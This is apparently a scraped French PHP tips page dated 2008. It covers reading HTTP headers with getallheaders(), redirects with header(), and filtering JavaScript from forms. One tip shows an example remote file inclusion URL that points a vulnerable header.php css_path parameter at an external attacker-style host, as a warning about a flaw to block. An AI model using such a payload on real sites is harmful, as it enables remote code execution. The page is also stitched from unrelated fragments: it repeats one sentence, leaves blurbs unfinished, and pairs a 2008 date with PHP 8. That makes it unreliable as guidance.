21 Mai 2008
Lire les HTTP Header
Compatibilité : PHP 5, PHP 7, PHP 8
Lire n'importe quel Header de requête se fait en PHP en utilisant la fonction getallheaders ().
Si vous utilisez un script setup/header.php ayant un paramètre css_path, vous pouvez être victimes d'une faille de sécurité. Grâce à ce script il est peut-être possible d'exécuter un script externe avec une url du style http://www.example.com/setup/header.php?css_path=http://www.sitepourri.com/url.txt?
Il faut donc tester que le paramètre ne contient pas une url externe. Dans ce cas là, l'url est bloquée en utilisant le flag F(forbidden) qui revient à renvoyer un code HTTP 403.
|
Lire n'importe quel Header de requête se fait en PHP en utilisant la fonction getallheaders ().
Les META REFRESH sont à bannir en HTML car trop souvent utilisés par de nombreux webmasters. Utiliser la fonction header()
Vous en marre de voir vos formulaires rempli de Javascript - Ce code va empêcher plusieurs formes de hack JS.
Il faut installer un script zippé au préalable puis remplacer la fonction controle_ip() par celle que nous vous donnons.